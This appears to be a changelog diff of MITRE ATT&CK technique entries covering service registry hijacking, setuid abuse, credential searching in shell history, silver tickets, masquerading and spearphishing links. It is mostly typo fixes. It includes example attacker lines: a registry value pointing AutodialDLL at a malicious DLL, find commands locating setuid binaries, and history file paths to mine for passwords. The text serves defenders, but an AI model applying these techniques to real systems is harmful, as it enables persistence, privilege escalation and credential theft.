| > | AL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parame | > | L_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Paramet | ||
| > | ters</code>(Citation: hexacorn)(Citation: gendigital) contai | > | ers</code>(Citation: hexacorn)(Citation: gendigital) contain | ||
| > | ns the <code>AutodiaDLL</code> value, which specifies the DL | > | s the <code>AutodiaDLL</code> value, which specifies the DLL | ||
| > | L to be loaded for autodial funcitionality. An adversary cou | > | to be loaded for autodial functionality. An adversary could | ||
| > | ld set the <code>AutodiaDLL</code> to point to a hijacked or | > | set the <code>AutodiaDLL</code> to point to a hijacked or m | ||
| > | malicious DLL: <code>"AutodialDLL"="c:\temp\foo.dll"</code | > | alicious DLL: <code>"AutodialDLL"="c:\temp\foo.dll"</code> | ||
| > | > This ensures persistence, as it causes the DLL (in this c | > | This ensures persistence, as it causes the DLL (in this cas | ||
| > | ase, foo.dll) to be loaded each time the Winsock 2 library i | > | e, foo.dll) to be loaded each time the Winsock 2 library is | ||
| > | s invoked. | > | invoked. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.622000+00:00 | 2026-11-04 01:07:19.054000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
Adversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.
For example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial funcitionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:
"AutodialDLL"="c:\temp\foo.dll"
This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked. | Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Flaws in the permissions for Registry keys related to services can allow adversaries to redirect the originally specified executable to one they control, launching their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions.(Citation: Registry Key Security)(Citation: malware_hides_service)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
Adversaries may also add the Parameters key, which can reference malicious drivers file paths. This technique has been identified to be a method of abuse by configuring DLL file paths within the Parameters key of a given services registry configuration. By placing and configuring the Parameters key to reference a malicious DLL, adversaries can ensure that their code is loaded persistently whenever the associated service or library is invoked.
For example, the registry path(Citation: MDSec) HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters(Citation: hexacorn)(Citation: gendigital) contains the AutodiaDLL value, which specifies the DLL to be loaded for autodial functionality. An adversary could set the AutodiaDLL to point to a hijacked or malicious DLL:
"AutodialDLL"="c:\temp\foo.dll"
This ensures persistence, as it causes the DLL (in this case, foo.dll) to be loaded each time the Winsock 2 library is invoked. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may abuse configurations where an application h | t | 1 | An adversary may abuse configurations where an application h |
| > | as the setuid or setgid bits set in order to get code runnin | > | as the setuid or setgid bits set in order to get code runnin | ||
| > | g in a different (and possibly more privileged) user’s conte | > | g in a different (and possibly more privileged) user’s conte | ||
| > | xt. On Linux or macOS, when the setuid or setgid bits are se | > | xt. On Linux or macOS, when the setuid or setgid bits are se | ||
| > | t for an application binary, the application will run with t | > | t for an application binary, the application will run with t | ||
| > | he privileges of the owning user or group respectively.(Cita | > | he privileges of the owning user or group respectively.(Cita | ||
| > | tion: setuid man page) Normally an application is run in the | > | tion: setuid man page) Normally an application is run in the | ||
| > | current user’s context, regardless of which user or group o | > | current user’s context, regardless of which user or group o | ||
| > | wns the application. However, there are instances where prog | > | wns the application. However, there are instances where prog | ||
| > | rams need to be executed in an elevated context to function | > | rams need to be executed in an elevated context to function | ||
| > | properly, but the user running them may not have the specifi | > | properly, but the user running them may not have the specifi | ||
| > | c required privileges. Instead of creating an entry in the | > | c required privileges. Instead of creating an entry in the | ||
| > | sudoers file, which must be done by root, any user can speci | > | sudoers file, which must be done by root, any user can speci | ||
| > | fy the setuid or setgid flag to be set for their own applica | > | fy the setuid or setgid flag to be set for their own applica | ||
| > | tions (i.e. [Linux and Mac Permissions](https://attack.mitre | > | tions (i.e. [Linux and Mac Permissions](https://attack.mitre | ||
| > | .org/techniques/T1222/002)). The <code>chmod</code> command | > | .org/techniques/T1222/002)). The <code>chmod</code> command | ||
| > | can set these bits with bitmasking, <code>chmod 4777 [file]< | > | can set these bits with bitmasking, <code>chmod 4777 [file]< | ||
| > | /code> or via shorthand naming, <code>chmod u+s [file]</code | > | /code> or via shorthand naming, <code>chmod u+s [file]</code | ||
| > | >. This will enable the setuid bit. To enable the setgid bit | > | >. This will enable the setuid bit. To enable the setgid bit | ||
| > | , <code>chmod 2775</code> and <code>chmod g+s</code> can be | > | , <code>chmod 2775</code> and <code>chmod g+s</code> can be | ||
| > | used. Adversaries can use this mechanism on their own malwa | > | used. Adversaries can use this mechanism on their own malwa | ||
| > | re to make sure they're able to execute in elevated contexts | > | re to make sure they're able to execute in elevated contexts | ||
| > | in the future.(Citation: OSX Keydnap malware) This abuse is | > | in the future.(Citation: OSX Keydnap malware) This abuse is | ||
| > | often part of a "shell escape" or other actions to bypass a | > | often part of a "shell escape" or other actions to bypass a | ||
| > | n execution environment with restricted permissions. Altern | > | n execution environment with restricted permissions. Altern | ||
| > | atively, adversaries may choose to find and target vulnerabl | > | atively, adversaries may choose to find and target vulnerabl | ||
| > | e binaries with the setuid or setgid bits already enabled (i | > | e binaries with the setuid or setgid bits already enabled (i | ||
| > | .e. [File and Directory Discovery](https://attack.mitre.org/ | > | .e. [File and Directory Discovery](https://attack.mitre.org/ | ||
| > | techniques/T1083)). The setuid and setguid bits are indicate | > | techniques/T1083)). The setuid and setgid bits are indicated | ||
| > | d with an "s" instead of an "x" when viewing a file's attrib | > | with an "s" instead of an "x" when viewing a file's attribu | ||
| > | utes via <code>ls -l</code>. The <code>find</code> command c | > | tes via <code>ls -l</code>. The <code>find</code> command ca | ||
| > | an also be used to search for such files. For example, <code | > | n also be used to search for such files. For example, <code> | ||
| > | >find / -perm +4000 2>/dev/null</code> can be used to find f | > | find / -perm +4000 2>/dev/null</code> can be used to find fi | ||
| > | iles with setuid set and <code>find / -perm +2000 2>/dev/nul | > | les with setuid set and <code>find / -perm +2000 2>/dev/null | ||
| > | l</code> may be used for setgid. Binaries that have these bi | > | </code> may be used for setgid. Binaries that have these bit | ||
| > | ts set may then be abused by adversaries.(Citation: GTFOBins | > | s set may then be abused by adversaries.(Citation: GTFOBins | ||
| > | Suid) | > | Suid) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.639000+00:00 | 2026-11-03 21:37:41.691000+00:00 |
| description | An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.
Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac Permissions](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.
Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.
Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid) | An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user’s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user’s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.
Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac Permissions](https://attack.mitre.org/techniques/T1222/002)). The chmod command can set these bits with bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file]. This will enable the setuid bit. To enable the setgid bit, chmod 2775 and chmod g+s can be used.
Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.
Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setgid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via ls -l. The find command can also be used to search for such files. For example, find / -perm +4000 2>/dev/null can be used to find files with setuid set and find / -perm +2000 2>/dev/null may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search the command history on compromised sy | t | 1 | Adversaries may search the command history on compromised sy |
| > | stems for insecurely stored credentials. On Linux and macOS | > | stems for insecurely stored credentials. On Linux and macOS | ||
| > | systems, shells such as Bash and Zsh keep track of the comm | > | systems, shells such as Bash and Zsh keep track of the comm | ||
| > | ands users type on the command-line with the "history" utili | > | ands users type on the command-line with the "history" utili | ||
| > | ty. Once a user logs out, the history is flushed to the user | > | ty. Once a user logs out, the history is flushed to the user | ||
| > | 's history file. For each user, this file resides at the sam | > | 's history file. For each user, this file resides at the sam | ||
| > | e location: for example, `~/.bash_history` or `~/.zsh_histor | > | e location: for example, `~/.bash_history` or `~/.zsh_histor | ||
| > | y`. Typically, these files keeps track of the user's last 10 | > | y`. Typically, these files keep track of the user's last 100 | ||
| > | 00 commands. On Windows, PowerShell has both a command hist | > | 0 commands. On Windows, PowerShell has both a command histo | ||
| > | ory that is wiped after the session ends, and one that conta | > | ry that is wiped after the session ends, and one that contai | ||
| > | ins commands used in all sessions and is persistent. The def | > | ns commands used in all sessions and is persistent. The defa | ||
| > | ault location for persistent history can be found in `%userp | > | ult location for persistent history can be found in `%userpr | ||
| > | rofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadl | > | ofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadli | ||
| > | ine\ConsoleHost_history.txt`, but command history can also b | > | ne\ConsoleHost_history.txt`, but command history can also be | ||
| > | e accessed with `Get-History`. Command Prompt (CMD) on Windo | > | accessed with `Get-History`. Command Prompt (CMD) on Window | ||
| > | ws does not have persistent history.(Citation: Microsoft abo | > | s does not have persistent history.(Citation: Microsoft abou | ||
| > | ut_History)(Citation: Medium) Users often type usernames an | > | t_History)(Citation: Medium) Users often type usernames and | ||
| > | d passwords on the command-line as parameters to programs, w | > | passwords on the command-line as parameters to programs, wh | ||
| > | hich then get saved to this file when they log out. Adversar | > | ich then get saved to this file when they log out. Adversari | ||
| > | ies can abuse this by looking through the file for potential | > | es can abuse this by looking through the file for potential | ||
| > | credentials.(Citation: External to DA, the OS X Way) | > | credentials.(Citation: External to DA, the OS X Way) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:02.375000+00:00 | 2026-11-04 03:25:33.482000+00:00 |
| description | Adversaries may search the command history on compromised systems for insecurely stored credentials. On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands. On Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium) Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way) | Adversaries may search the command history on compromised systems for insecurely stored credentials. On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keep track of the user's last 1000 commands. On Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium) Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way) |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries who have the password hash of a target service a | t | 1 | Adversaries who have the password hash of a target service a |
| > | ccount (e.g. SharePoint, MSSQL) may forge Kerberos ticket gr | > | ccount (e.g. SharePoint, MSSQL) may forge Kerberos ticket gr | ||
| > | anting service (TGS) tickets, also known as silver tickets. | > | anting service (TGS) tickets, also known as silver tickets. | ||
| > | Kerberos TGS tickets are also known as service tickets.(Cita | > | Kerberos TGS tickets are also known as service tickets.(Cita | ||
| > | tion: ADSecurity Silver Tickets) Silver tickets are more li | > | tion: ADSecurity Silver Tickets) Silver tickets are more li | ||
| > | mited in scope in than golden tickets in that they only enab | > | mited in scope than golden tickets in that they only enable | ||
| > | le adversaries to access a particular resource (e.g. MSSQL) | > | adversaries to access a particular resource (e.g. MSSQL) and | ||
| > | and the system that hosts the resource; however, unlike gold | > | the system that hosts the resource; however, unlike golden | ||
| > | en tickets, adversaries with the ability to forge silver tic | > | tickets, adversaries with the ability to forge silver ticket | ||
| > | kets are able to create TGS tickets without interacting with | > | s are able to create TGS tickets without interacting with th | ||
| > | the Key Distribution Center (KDC), potentially making detec | > | e Key Distribution Center (KDC), potentially making detectio | ||
| > | tion more difficult.(Citation: ADSecurity Detecting Forged T | > | n more difficult.(Citation: ADSecurity Detecting Forged Tick | ||
| > | ickets) Password hashes for target services may be obtained | > | ets) Password hashes for target services may be obtained us | ||
| > | using [OS Credential Dumping](https://attack.mitre.org/tech | > | ing [OS Credential Dumping](https://attack.mitre.org/techniq | ||
| > | niques/T1003) or [Kerberoasting](https://attack.mitre.org/te | > | ues/T1003) or [Kerberoasting](https://attack.mitre.org/techn | ||
| > | chniques/T1558/003). | > | iques/T1558/003). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:26.177000+00:00 | 2026-11-03 23:27:26.196000+00:00 |
| description | Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets) Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets) Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003). | Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets) Silver tickets are more limited in scope than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets) Password hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Medium Detecting Attempts to Steal Passwords from Memory', 'description': 'French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.', 'url': 'https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea'} |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search social media for information about vi | t | 1 | Adversaries may search social media for information about vi |
| > | ctims that can be used during targeting. Social media sites | > | ctims that can be used during targeting. Social media sites | ||
| > | may contain various information about a victim organization, | > | may contain various information about a victim organization, | ||
| > | such as business announcements as well as information about | > | such as business announcements as well as information about | ||
| > | the roles, locations, and interests of staff. Adversaries | > | the roles, locations, and interests of staff. Adversaries | ||
| > | may search in different social media sites depending on what | > | may search in different social media sites depending on what | ||
| > | information they seek to gather. Threat actors may passivel | > | information they seek to gather. Threat actors may passivel | ||
| > | y harvest data from these sites, as well as use information | > | y harvest data from these sites, as well as use information | ||
| > | gathered to create fake profiles/groups to elicit victim’s i | > | gathered to create fake profiles/groups to entice victims in | ||
| > | nto revealing specific information (i.e. [Spearphishing Serv | > | to revealing specific information (i.e. [Spearphishing Servi | ||
| > | ice](https://attack.mitre.org/techniques/T1598/001)).(Citati | > | ce](https://attack.mitre.org/techniques/T1598/001)).(Citatio | ||
| > | on: Cyware Social Media) Information from these sources may | > | n: Cyware Social Media) Information from these sources may r | ||
| > | reveal opportunities for other forms of reconnaissance (ex: | > | eveal opportunities for other forms of reconnaissance (ex: [ | ||
| > | [Phishing for Information](https://attack.mitre.org/techniqu | > | Phishing for Information](https://attack.mitre.org/technique | ||
| > | es/T1598) or [Search Open Technical Databases](https://attac | > | s/T1598) or [Search Open Technical Databases](https://attack | ||
| > | k.mitre.org/techniques/T1596)), establishing operational res | > | .mitre.org/techniques/T1596)), establishing operational reso | ||
| > | ources (ex: [Establish Accounts](https://attack.mitre.org/te | > | urces (ex: [Establish Accounts](https://attack.mitre.org/tec | ||
| > | chniques/T1585) or [Compromise Accounts](https://attack.mitr | > | hniques/T1585) or [Compromise Accounts](https://attack.mitre | ||
| > | e.org/techniques/T1586)), and/or initial access (ex: [Spearp | > | .org/techniques/T1586)), and/or initial access (ex: [Spearph | ||
| > | hishing via Service](https://attack.mitre.org/techniques/T15 | > | ishing via Service](https://attack.mitre.org/techniques/T156 | ||
| > | 66/003)). | > | 6/003)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:18.054000+00:00 | 2026-11-03 23:35:14.598000+00:00 |
| description | Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). | Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to entice victims into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can hide a program's true filetype by changing t | t | 1 | Adversaries can hide a program's true filetype by changing t |
| > | he extension of a file. With certain file types (specificall | > | he extension of a file. With certain file types (specificall | ||
| > | y this does not work with .app extensions), appending a spac | > | y this does not work with .app extensions), appending a spac | ||
| > | e to the end of a filename will change how the file is proce | > | e to the end of a filename will change how the file is proce | ||
| > | ssed by the operating system. For example, if there is a Ma | > | ssed by the operating system. For example, if there is a Ma | ||
| > | ch-O executable file called <code>evil.bin</code>, when it i | > | ch-O executable file called <code>evil.bin</code>, when it i | ||
| > | s double clicked by a user, it will launch Terminal.app and | > | s double clicked by a user, it will launch Terminal.app and | ||
| > | execute. If this file is renamed to <code>evil.txt</code>, t | > | execute. If this file is renamed to <code>evil.txt</code>, t | ||
| > | hen when double clicked by a user, it will launch with the d | > | hen when double clicked by a user, it will launch with the d | ||
| > | efault text editing application (not executing the binary). | > | efault text editing application (not executing the binary). | ||
| > | However, if the file is renamed to <code>evil.txt </code> (n | > | However, if the file is renamed to <code>evil.txt </code> (n | ||
| > | ote the space at the end), then when double clicked by a use | > | ote the space at the end), then when double clicked by a use | ||
| > | r, the true file type is determined by the OS and handled ap | > | r, the true file type is determined by the OS and handled ap | ||
| > | propriately and the binary will be executed (Citation: Mac B | > | propriately and the binary will be executed.(Citation: Mac B | ||
| > | ackdoors are back). Adversaries can use this feature to tri | > | ackdoors are back) Adversaries can use this feature to tric | ||
| > | ck users into double clicking benign-looking files of any fo | > | k users into double clicking benign-looking files of any for | ||
| > | rmat and ultimately executing something malicious. | > | mat and ultimately executing something malicious. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.723000+00:00 | 2026-11-04 00:16:06.634000+00:00 |
| description | Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.
For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).
Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious. | Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.
For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.(Citation: Mac Backdoors are back)
Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious. |
Current version: 2.8
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious l | t | 1 | Adversaries may send spearphishing emails with a malicious l |
| > | ink in an attempt to gain access to victim systems. Spearphi | > | ink in an attempt to gain access to victim systems. Spearphi | ||
| > | shing with a link is a specific variant of spearphishing. It | > | shing with a link is a specific variant of spearphishing. It | ||
| > | is different from other forms of spearphishing in that it e | > | is different from other forms of spearphishing in that it e | ||
| > | mploys the use of links to download malware contained in ema | > | mploys the use of links to download malware contained in ema | ||
| > | il, instead of attaching malicious files to the email itself | > | il, instead of attaching malicious files to the email itself | ||
| > | , to avoid defenses that may inspect email attachments. Spea | > | , to avoid defenses that may inspect email attachments. Spea | ||
| > | rphishing may also involve social engineering techniques, su | > | rphishing may also involve social engineering techniques, su | ||
| > | ch as posing as a trusted source. All forms of spearphishin | > | ch as posing as a trusted source. All forms of spearphishin | ||
| > | g are electronically delivered social engineering targeted a | > | g are electronically delivered social engineering targeted a | ||
| > | t a specific individual, company, or industry. In this case, | > | t a specific individual, company, or industry. In this case, | ||
| > | the malicious emails contain links. Generally, the links wi | > | the malicious emails contain links. Generally, the links wi | ||
| > | ll be accompanied by social engineering text and require the | > | ll be accompanied by social engineering text and require the | ||
| > | user to actively click or copy and paste a URL into a brows | > | user to actively click or copy and paste a URL into a brows | ||
| > | er, leveraging [User Execution](https://attack.mitre.org/tec | > | er, leveraging [User Execution](https://attack.mitre.org/tec | ||
| > | hniques/T1204). The visited website may compromise the web b | > | hniques/T1204). The visited website may compromise the web b | ||
| > | rowser using an exploit, or the user will be prompted to dow | > | rowser using an exploit, or the user will be prompted to dow | ||
| > | nload applications, documents, zip files, or even executable | > | nload applications, documents, zip files, or even executable | ||
| > | s depending on the pretext for the email in the first place. | > | s depending on the pretext for the email in the first place. | ||
| > | Adversaries may also include links that are intended to in | > | Adversaries may also include links that are intended to in | ||
| > | teract directly with an email reader, including embedded ima | > | teract directly with an email reader, including embedded ima | ||
| > | ges intended to exploit the end system directly. Additionall | > | ges intended to exploit the end system directly. Additionall | ||
| > | y, adversaries may use seemingly benign links that abuse spe | > | y, adversaries may use seemingly benign links that abuse spe | ||
| > | cial characters to mimic legitimate websites (known as an "I | > | cial characters to mimic legitimate websites (known as an "I | ||
| > | DN homograph attack").(Citation: CISA IDN ST05-016) URLs may | > | DN homograph attack").(Citation: CISA IDN ST05-016) URLs may | ||
| > | also be obfuscated by taking advantage of quirks in the URL | > | also be obfuscated by taking advantage of quirks in the URL | ||
| > | schema, such as the acceptance of integer- or hexadecimal-b | > | schema, such as the acceptance of integer- or hexadecimal-b | ||
| > | ased hostname formats and the automatic discarding of text b | > | ased hostname formats and the automatic discarding of text b | ||
| > | efore an “@” symbol: for example, `hxxp://google.com@1157586 | > | efore an “@” symbol: for example, `hxxp://google.com@1157586 | ||
| > | 937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | > | 937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | ||
| > | may also utilize links to perform consent phishing/spearphis | > | may also utilize links to perform consent phishing/spearphis | ||
| > | hing campaigns to [Steal Application Access Token](https://a | > | hing campaigns to [Steal Application Access Token](https://a | ||
| > | ttack.mitre.org/techniques/T1528)s that grant immediate acce | > | ttack.mitre.org/techniques/T1528)s that grant immediate acce | ||
| > | ss to the victim environment. For example, a user may be lur | > | ss to the victim environment. For example, a user may be lur | ||
